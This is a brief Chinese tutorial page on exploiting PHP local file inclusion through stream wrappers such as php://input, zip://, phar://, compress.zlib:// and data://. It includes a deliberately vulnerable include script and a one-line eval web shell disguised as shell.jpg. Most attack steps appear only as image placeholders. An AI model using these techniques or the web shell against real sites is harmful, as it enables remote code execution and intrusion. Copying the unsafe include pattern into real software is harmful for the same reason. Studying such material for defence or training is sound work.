PHP伪协议-文件包含

lfi.php案例代码

1
2
3
<?php
include $_GET['file'];
?>

phar://、zip://、zlib:// 协议特性

​ 用于读取压缩文件,zip:// 、phart:// 、zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀: jpg、png、gif、xxx等等。

php://input

​ php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。

注:当enctype="multipart/form-data",php://input 是无效的。

image-20230918020512611

zip://

​ 如果不允许上传zip格式文件,可修改后缀为图片格式,phar协议和zip协议会无视利用的是什么包。
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名] (#编码为%23)

image-20230918020635478

image-20230918020659405

phar://

1
2
# shell.jpg
<?php @eval($_REQUEST[1]);?>

image-20230918020743413

compress.zlib://

image-20230918020820421

如果是zip压缩包,后面不需要跟子文件

image-20230918020840976

image-20230918020853024

data://text/plain

image-20230918020913453

image-20230918020927543